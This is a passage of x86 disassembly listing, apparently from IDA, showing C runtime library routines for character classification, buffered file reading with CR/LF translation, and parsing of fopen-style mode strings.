mov [ebp+var_13C], eax
jmp loc_421873
; ---------------------------------------------------------------------------
loc_421E47: ; CODE XREF: sub_421830+5Ej
xor eax, eax
loc_421E49: ; CODE XREF: sub_421830+26j
; sub_421830+8Ej ...
mov esp, ebp
pop ebp
retn
sub_421830 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421E50 proc near ; CODE XREF: sub_41ABF0+66p
; sub_41B2F0+19p ...
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = byte ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
add eax, 1
cmp eax, 100h
ja short loc_421E7A
mov ecx, [ebp+arg_0]
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, [ebp+arg_4]
jmp loc_421F03
; ---------------------------------------------------------------------------
loc_421E7A: ; CODE XREF: sub_421E50+11j
mov ecx, [ebp+arg_0]
sar ecx, 8
and ecx, 0FFh
and ecx, 0FFh
mov edx, off_45149C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_421EC3
mov ecx, [ebp+arg_0]
sar ecx, 8
and ecx, 0FFh
mov [ebp+var_C], cl
mov dl, byte ptr [ebp+arg_0]
mov [ebp+var_B], dl
mov [ebp+var_A], 0
mov [ebp+var_8], 2
jmp short loc_421ED4
; ---------------------------------------------------------------------------
loc_421EC3: ; CODE XREF: sub_421E50+4Fj
mov al, byte ptr [ebp+arg_0]
mov [ebp+var_C], al
mov [ebp+var_B], 0
mov [ebp+var_8], 1
loc_421ED4: ; CODE XREF: sub_421E50+71j
push 1
push 0
push 0
lea ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
push edx
lea eax, [ebp+var_C]
push eax
push 1
call sub_42C100
add esp, 1Ch
test eax, eax
jnz short loc_421EF8
xor eax, eax
jmp short loc_421F03
; ---------------------------------------------------------------------------
loc_421EF8: ; CODE XREF: sub_421E50+A2j
mov eax, [ebp+var_4]
and eax, 0FFFFh
and eax, [ebp+arg_4]
loc_421F03: ; CODE XREF: sub_421E50+25j
; sub_421E50+A6j
mov esp, ebp
pop ebp
retn
sub_421E50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F10 proc near ; CODE XREF: sub_41AEA0+182p
; sub_41BC90+D7p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_421F19: ; CODE XREF: sub_421F10+31j
cmp [ebp+arg_0], 0
jnz short loc_421F3D
push offset dword_437514
push 0
push 69h
push offset a_filbuf_c ; "_filbuf.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_421F3D
int 3 ; Trap to Debugger
loc_421F3D: ; CODE XREF: sub_421F10+Dj
; sub_421F10+2Aj
xor eax, eax
test eax, eax
jnz short loc_421F19
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_421F65
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 40h
test edx, edx
jz short loc_421F6D
loc_421F65: ; CODE XREF: sub_421F10+46j
or eax, 0FFFFFFFFh
jmp loc_4220ED
; ---------------------------------------------------------------------------
loc_421F6D: ; CODE XREF: sub_421F10+53j
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 2
test ecx, ecx
jz short loc_421F90
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 20h
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
or eax, 0FFFFFFFFh
jmp loc_4220ED
; ---------------------------------------------------------------------------
loc_421F90: ; CODE XREF: sub_421F10+68j
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 1
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 10Ch
test eax, eax
jnz short loc_421FBB
mov ecx, [ebp+var_4]
push ecx
call sub_42C2C0
add esp, 4
jmp short loc_421FC6
; ---------------------------------------------------------------------------
loc_421FBB: ; CODE XREF: sub_421F10+9Bj
mov edx, [ebp+var_4]
mov eax, [ebp+var_4]
mov ecx, [eax+8]
mov [edx], ecx
loc_421FC6: ; CODE XREF: sub_421F10+A9j
mov edx, [ebp+var_4]
mov eax, [edx+18h]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
call sub_422100
add esp, 0Ch
mov edx, [ebp+var_4]
mov [edx+4], eax
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 0
jz short loc_421FFB
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0FFFFFFFFh
jnz short loc_42202B
loc_421FFB: ; CODE XREF: sub_421F10+E0j
mov edx, [ebp+var_4]
mov eax, [edx+4]
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
or edx, eax
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
or eax, 0FFFFFFFFh
jmp loc_4220ED
; ---------------------------------------------------------------------------
loc_42202B: ; CODE XREF: sub_421F10+E9j
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 82h
test eax, eax
jnz short loc_422091
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+10h], 0FFFFFFFFh
jz short loc_422066
mov edx, [ebp+var_4]
mov eax, [edx+10h]
sar eax, 5
mov ecx, [ebp+var_4]
mov edx, [ecx+10h]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[eax*4]
add eax, edx
mov [ebp+var_8], eax
jmp short loc_42206D
; ---------------------------------------------------------------------------
loc_422066: ; CODE XREF: sub_421F10+131j
mov [ebp+var_8], offset dword_451C50
loc_42206D: ; CODE XREF: sub_421F10+154j
mov ecx, [ebp+var_8]
movsx edx, byte ptr [ecx+4]
and edx, 82h
cmp edx, 82h
jnz short loc_422091
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
or ch, 20h
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
loc_422091: ; CODE XREF: sub_421F10+128j
; sub_421F10+170j
mov eax, [ebp+var_4]
cmp dword ptr [eax+18h], 200h
jnz short loc_4220C4
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 8
test edx, edx
jz short loc_4220C4
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 400h
test ecx, ecx
jnz short loc_4220C4
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 1000h
loc_4220C4: ; CODE XREF: sub_421F10+18Bj
; sub_421F10+198j ...
mov eax, [ebp+var_4]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+var_4]
mov [edx+4], ecx
mov eax, [ebp+var_4]
mov ecx, [eax]
movsx eax, byte ptr [ecx]
and eax, 0FFh
mov edx, [ebp+var_4]
mov ecx, [edx]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx], ecx
loc_4220ED: ; CODE XREF: sub_421F10+58j
; sub_421F10+7Bj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_421F10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422100 proc near ; CODE XREF: sub_41AEA0+118p
; sub_421F10+CBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4EFD40
jnb short loc_422131
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42214C
loc_422131: ; CODE XREF: sub_422100+Dj
call sub_4248A0
mov dword ptr [eax], 9
call sub_4248B0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_42217E
; ---------------------------------------------------------------------------
loc_42214C: ; CODE XREF: sub_422100+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_42BC50
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_422190
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_42BCE0
add esp, 4
mov eax, [ebp+var_4]
loc_42217E: ; CODE XREF: sub_422100+4Aj
mov esp, ebp
pop ebp
retn
sub_422100 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422190 proc near ; CODE XREF: sub_422100+64p
; sub_42C3D0+42Fp
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_18], 0
mov eax, [ebp+arg_4]
mov [ebp+var_14], eax
cmp [ebp+arg_8], 0
jz short loc_4221CB
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 2
test ecx, ecx
jz short loc_4221D2
loc_4221CB: ; CODE XREF: sub_422190+17j
xor eax, eax
jmp loc_4225D1
; ---------------------------------------------------------------------------
loc_4221D2: ; CODE XREF: sub_422190+39j
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4EFC40[edx*4]
movsx edx, byte ptr [ecx+eax+4]
and edx, 48h
test edx, edx
jz short loc_422269
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
movsx eax, byte ptr [edx+ecx+5]
cmp eax, 0Ah
jz short loc_422269
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
mov ecx, [ebp+var_14]
mov dl, [eax+edx+5]
mov [ecx], dl
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
mov ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_18], ecx
mov edx, [ebp+arg_8]
sub edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
mov byte ptr [edx+ecx+5], 0Ah
loc_422269: ; CODE XREF: sub_422190+62j
; sub_422190+82j
push 0
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
mov eax, [edx+ecx]
push eax
call dword_4F13A4 ; ReadFile
test eax, eax
jnz short loc_4222E8
call dword_4F1348 ; RtlGetLastWin32Error
mov [ebp+var_8], eax
cmp [ebp+var_8], 5
jnz short loc_4222C7
call sub_4248A0
mov dword ptr [eax], 9
call sub_4248B0
mov ecx, [ebp+var_8]
mov [eax], ecx
or eax, 0FFFFFFFFh
jmp loc_4225D1
; ---------------------------------------------------------------------------
loc_4222C7: ; CODE XREF: sub_422190+118j
cmp [ebp+var_8], 6Dh
jnz short loc_4222D4
xor eax, eax
jmp loc_4225D1
; ---------------------------------------------------------------------------
loc_4222D4: ; CODE XREF: sub_422190+13Bj
mov edx, [ebp+var_8]
push edx
call sub_424800
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_4225D1
; ---------------------------------------------------------------------------
loc_4222E8: ; CODE XREF: sub_422190+109j
mov eax, [ebp+var_18]
add eax, [ebp+var_10]
mov [ebp+var_18], eax
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 80h
test ecx, ecx
jz loc_4225CE
cmp [ebp+var_10], 0
jz short loc_422364
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx]
cmp eax, 0Ah
jnz short loc_422364
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
mov cl, [eax+edx+4]
or cl, 4
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov edx, dword_4EFC40[edx*4]
mov [edx+eax+4], cl
jmp short loc_42239A
; ---------------------------------------------------------------------------
loc_422364: ; CODE XREF: sub_422190+18Ej
; sub_422190+199j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
mov al, [edx+ecx+4]
and al, 0FBh
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov ecx, dword_4EFC40[ecx*4]
mov [ecx+edx+4], al
loc_42239A: ; CODE XREF: sub_422190+1D2j
mov edx, [ebp+arg_4]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov [ebp+var_4], eax
loc_4223A6: ; CODE XREF: sub_422190:loc_4225C0j
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_18]
cmp [ebp+var_4], ecx
jnb loc_4225C5
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 1Ah
jnz short loc_42241E
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 40h
test ecx, ecx
jnz short loc_422419
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4EFC40[edx*4]
mov dl, [ecx+eax+4]
or dl, 2
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov eax, dword_4EFC40[eax*4]
mov [eax+ecx+4], dl
loc_422419: ; CODE XREF: sub_422190+250j
jmp loc_4225C5
; ---------------------------------------------------------------------------
loc_42241E: ; CODE XREF: sub_422190+22Ej
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Dh
jz short loc_42244A
mov eax, [ebp+var_C]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp loc_4225C0
; ---------------------------------------------------------------------------
loc_42244A: ; CODE XREF: sub_422190+297j
mov edx, [ebp+var_18]
mov eax, [ebp+arg_4]
lea ecx, [eax+edx-1]
cmp [ebp+var_4], ecx
jnb short loc_4224A0
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx+1]
cmp eax, 0Ah
jnz short loc_42247F
mov ecx, [ebp+var_4]
add ecx, 2
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
mov byte ptr [edx], 0Ah
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_42249B
; ---------------------------------------------------------------------------
loc_42247F: ; CODE XREF: sub_422190+2D3j
mov ecx, [ebp+var_C]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42249B: ; CODE XREF: sub_422190+2EDj
jmp loc_4225C0
; ---------------------------------------------------------------------------
loc_4224A0: ; CODE XREF: sub_422190+2C7j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov [ebp+var_8], 0
push 0
lea ecx, [ebp+var_10]
push ecx
push 1
lea edx, [ebp+var_1C]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
mov eax, [edx+ecx]
push eax
call dword_4F13A4 ; ReadFile
test eax, eax
jnz short loc_4224E9
call dword_4F1348 ; RtlGetLastWin32Error
mov [ebp+var_8], eax
loc_4224E9: ; CODE XREF: sub_422190+34Ej
cmp [ebp+var_8], 0
jnz short loc_4224F5
cmp [ebp+var_10], 0
jnz short loc_422509
loc_4224F5: ; CODE XREF: sub_422190+35Dj
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
jmp loc_4225C0
; ---------------------------------------------------------------------------
loc_422509: ; CODE XREF: sub_422190+363j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 48h
test eax, eax
jz short loc_422573
movsx ecx, [ebp+var_1C]
cmp ecx, 0Ah
jnz short loc_422545
mov edx, [ebp+var_C]
mov byte ptr [edx], 0Ah
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_422571
; ---------------------------------------------------------------------------
loc_422545: ; CODE XREF: sub_422190+3A2j
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
mov al, [ebp+var_1C]
mov [edx+ecx+5], al
loc_422571: ; CODE XREF: sub_422190+3B3j
jmp short loc_4225C0
; ---------------------------------------------------------------------------
loc_422573: ; CODE XREF: sub_422190+399j
mov ecx, [ebp+var_C]
cmp ecx, [ebp+arg_4]
jnz short loc_422595
movsx edx, [ebp+var_1C]
cmp edx, 0Ah
jnz short loc_422595
mov eax, [ebp+var_C]
mov byte ptr [eax], 0Ah
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
jmp short loc_4225C0
; ---------------------------------------------------------------------------
loc_422595: ; CODE XREF: sub_422190+3E9j
; sub_422190+3F2j
push 1
push 0FFFFFFFFh
mov edx, [ebp+arg_0]
push edx
call sub_429380
add esp, 0Ch
mov [ebp+var_20], eax
movsx eax, [ebp+var_1C]
cmp eax, 0Ah
jz short loc_4225C0
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_4225C0: ; CODE XREF: sub_422190+2B5j
; sub_422190:loc_42249Bj ...
jmp loc_4223A6
; ---------------------------------------------------------------------------
loc_4225C5: ; CODE XREF: sub_422190+21Fj
; sub_422190:loc_422419j
mov eax, [ebp+var_C]
sub eax, [ebp+arg_4]
mov [ebp+var_18], eax
loc_4225CE: ; CODE XREF: sub_422190+184j
mov eax, [ebp+var_18]
loc_4225D1: ; CODE XREF: sub_422190+3Dj
; sub_422190+132j ...
mov esp, ebp
pop ebp
retn
sub_422190 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4225E0 proc near ; CODE XREF: sub_41B070+DBp
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
mov eax, dword_4EFACC
mov [ebp+var_1C], eax
mov [ebp+var_18], 0
mov [ebp+var_10], 0
loc_4225FF: ; CODE XREF: sub_4225E0+47j
cmp [ebp+arg_0], 0
jnz short loc_422623
push offset aFilenameNull ; "filename != NULL"
push 0
push 47h
push offset a_open_c ; "_open.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_422623
int 3 ; Trap to Debugger
loc_422623: ; CODE XREF: sub_4225E0+23j
; sub_4225E0+40j
xor ecx, ecx
test ecx, ecx
jnz short loc_4225FF
loc_422629: ; CODE XREF: sub_4225E0+71j
cmp [ebp+arg_4], 0
jnz short loc_42264D
push offset aModeNull ; "mode != NULL"
push 0
push 48h
push offset a_open_c ; "_open.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_42264D
int 3 ; Trap to Debugger
loc_42264D: ; CODE XREF: sub_4225E0+4Dj
; sub_4225E0+6Aj
xor edx, edx
test edx, edx
jnz short loc_422629
loc_422653: ; CODE XREF: sub_4225E0+9Bj
cmp [ebp+arg_C], 0
jnz short loc_422677
push offset dword_437514
push 0
push 49h
push offset a_open_c ; "_open.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_422677
int 3 ; Trap to Debugger
loc_422677: ; CODE XREF: sub_4225E0+77j
; sub_4225E0+94j
xor eax, eax
test eax, eax
jnz short loc_422653
mov ecx, [ebp+arg_4]
mov dl, [ecx]
mov [ebp+var_20], dl
cmp [ebp+var_20], 61h
jz short loc_4226BC
cmp [ebp+var_20], 72h
jz short loc_422699
cmp [ebp+var_20], 77h
jz short loc_4226AA
jmp short loc_4226CE
; ---------------------------------------------------------------------------
loc_422699: ; CODE XREF: sub_4225E0+AFj
mov [ebp+var_14], 0
mov eax, [ebp+var_1C]
or al, 1
mov [ebp+var_1C], eax
jmp short loc_4226D5
; ---------------------------------------------------------------------------
loc_4226AA: ; CODE XREF: sub_4225E0+B5j
mov [ebp+var_14], 301h
mov ecx, [ebp+var_1C]
or ecx, 2
mov [ebp+var_1C], ecx
jmp short loc_4226D5
; ---------------------------------------------------------------------------
loc_4226BC: ; CODE XREF: sub_4225E0+A9j
mov [ebp+var_14], 109h
mov edx, [ebp+var_1C]
or edx, 2
mov [ebp+var_1C], edx
jmp short loc_4226D5
; ---------------------------------------------------------------------------
loc_4226CE: ; CODE XREF: sub_4225E0+B7j
xor eax, eax
jmp loc_4228F6
; ---------------------------------------------------------------------------
loc_4226D5: ; CODE XREF: sub_4225E0+C8j
; sub_4225E0+DAj ...
mov [ebp+var_4], 1
loc_4226DC: ; CODE XREF: sub_4225E0:loc_42287Aj
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz loc_42287F
cmp [ebp+var_4], 0
jz loc_42287F
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
mov [ebp+var_24], ecx
mov edx, [ebp+var_24]
sub edx, 2Bh
mov [ebp+var_24], edx
cmp [ebp+var_24], 49h
ja loc_422873
mov ecx, [ebp+var_24]
xor eax, eax
mov al, byte_422925[ecx]
jmp off_4228FD[eax*4]
loc_42272B: ; DATA XREF: .nsp0:off_4228FDo
mov edx, [ebp+var_14]
and edx, 2
test edx, edx
jz short loc_42273E
mov [ebp+var_4], 0
jmp short loc_422760
; ---------------------------------------------------------------------------
loc_42273E: ; CODE XREF: sub_4225E0+153j
mov eax, [ebp+var_14]
or al, 2
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
and ecx, 0FFFFFFFEh
mov [ebp+var_14], ecx
mov edx, [ebp+var_1C]
or dl, 80h
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
and al, 0FCh
mov [ebp+var_1C], eax
loc_422760: ; CODE XREF: sub_4225E0+15Cj
jmp loc_42287A
; ---------------------------------------------------------------------------
loc_422765: ; CODE XREF: sub_4225E0+144j
; DATA XREF: .nsp0:00422911o
mov ecx, [ebp+var_14]
and ecx, 0C000h
test ecx, ecx
jz short loc_42277B
mov [ebp+var_4], 0
jmp short loc_422784
; ---------------------------------------------------------------------------
loc_42277B: ; CODE XREF: sub_4225E0+190j
mov edx, [ebp+var_14]
or dh, 80h
mov [ebp+var_14], edx
loc_422784: ; CODE XREF: sub_4225E0+199j
jmp loc_42287A
; ---------------------------------------------------------------------------
loc_422789: ; CODE XREF: sub_4225E0+144j
; DATA XREF: .nsp0:0042291Do
mov eax, [ebp+var_14]
and eax, 0C000h
test eax, eax
jz short loc_42279E
mov [ebp+var_4], 0
jmp short loc_4227A7
; ---------------------------------------------------------------------------
loc_42279E: ; CODE XREF: sub_4225E0+1B3j
mov ecx, [ebp+var_14]
or ch, 40h
mov [ebp+var_14], ecx
loc_4227A7: ; CODE XREF: sub_4225E0+1BCj
jmp loc_42287A
; ---------------------------------------------------------------------------
loc_4227AC: ; CODE XREF: sub_4225E0+144j
; DATA XREF: .nsp0:00422915o
cmp [ebp+var_18], 0
jz short loc_4227BB
mov [ebp+var_4], 0
jmp short loc_4227CB
; ---------------------------------------------------------------------------
loc_4227BB: ; CODE XREF: sub_4225E0+1D0j
mov [ebp+var_18], 1
mov edx, [ebp+var_1C]
or dh, 40h
mov [ebp+var_1C], edx
loc_4227CB: ; CODE XREF: sub_4225E0+1D9j
jmp loc_42287A
; ---------------------------------------------------------------------------
loc_4227D0: ; CODE XREF: sub_4225E0+144j
; DATA XREF: .nsp0:00422919o
cmp [ebp+var_18], 0
jz short loc_4227DF
mov [ebp+var_4], 0
jmp short loc_4227EF
; ---------------------------------------------------------------------------
loc_4227DF: ; CODE XREF: sub_4225E0+1F4j
mov [ebp+var_18], 1
mov eax, [ebp+var_1C]
and ah, 0BFh
mov [ebp+var_1C], eax
loc_4227EF: ; CODE XREF: sub_4225E0+1FDj
jmp loc_42287A
; ---------------------------------------------------------------------------
loc_4227F4: ; CODE XREF: sub_4225E0+144j
; DATA XREF: .nsp0:00422909o
cmp [ebp+var_10], 0
jz short loc_422803
mov [ebp+var_4], 0
jmp short loc_422813
; ---------------------------------------------------------------------------
loc_422803: ; CODE XREF: sub_4225E0+218j
mov [ebp+var_10], 1
mov ecx, [ebp+var_14]
or ecx, 20h
mov [ebp+var_14], ecx
loc_422813: ; CODE XREF: sub_4225E0+221j
jmp short loc_42287A
; ---------------------------------------------------------------------------
loc_422815: ; CODE XREF: sub_4225E0+144j
; DATA XREF: .nsp0:00422905o
cmp [ebp+var_10], 0
jz short loc_422824
mov [ebp+var_4], 0
jmp short loc_422834
; ---------------------------------------------------------------------------
loc_422824: ; CODE XREF: sub_4225E0+239j
mov [ebp+var_10], 1
mov edx, [ebp+var_14]
or edx, 10h
mov [ebp+var_14], edx
loc_422834: ; CODE XREF: sub_4225E0+242j
jmp short loc_42287A
; ---------------------------------------------------------------------------
loc_422836: ; CODE XREF: sub_4225E0+144j
; DATA XREF: .nsp0:0042290Do
mov eax, [ebp+var_14]
and eax, 1000h
test eax, eax
jz short loc_42284B
mov [ebp+var_4], 0
jmp short loc_422854
; ---------------------------------------------------------------------------
loc_42284B: ; CODE XREF: sub_4225E0+260j
mov ecx, [ebp+var_14]
or ch, 10h
mov [ebp+var_14], ecx
loc_422854: ; CODE XREF: sub_4225E0+269j
jmp short loc_42287A
; ---------------------------------------------------------------------------
loc_422856: ; CODE XREF: sub_4225E0+144j
; DATA XREF: .nsp0:00422901o
mov edx, [ebp+var_14]
and edx, 40h
test edx, edx
jz short loc_422869
mov [ebp+var_4], 0
jmp short loc_422871
; ---------------------------------------------------------------------------
loc_422869: ; CODE XREF: sub_4225E0+27Ej
mov eax, [ebp+var_14]
or al, 40h
mov [ebp+var_14], eax
loc_422871: ; CODE XREF: sub_4225E0+287j
jmp short loc_42287A
; ---------------------------------------------------------------------------
loc_422873: ; CODE XREF: sub_4225E0+133j
; sub_4225E0+144j
; DATA XREF: ...
mov [ebp+var_4], 0
loc_42287A: ; CODE XREF: sub_4225E0:loc_422760j
; sub_4225E0:loc_422784j ...
jmp loc_4226DC
; ---------------------------------------------------------------------------
loc_42287F: ; CODE XREF: sub_4225E0+10Dj
; sub_4225E0+117j
push 1A4h
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42C3D0
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jge short loc_4228A5
xor eax, eax
jmp short loc_4228F6
; ---------------------------------------------------------------------------
loc_4228A5: ; CODE XREF: sub_4225E0+2BFj
mov ecx, dword_4EF8EC
add ecx, 1
mov dword_4EF8EC, ecx
mov edx, [ebp+arg_C]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_1C]
mov [eax+0Ch], ecx
mov edx, [ebp+var_C]
mov dword ptr [edx+4], 0
mov eax, [ebp+var_C]
mov dword ptr [eax], 0
mov ecx, [ebp+var_C]
mov dword ptr [ecx+8], 0
mov edx, [ebp+var_C]
mov dword ptr [edx+1Ch], 0
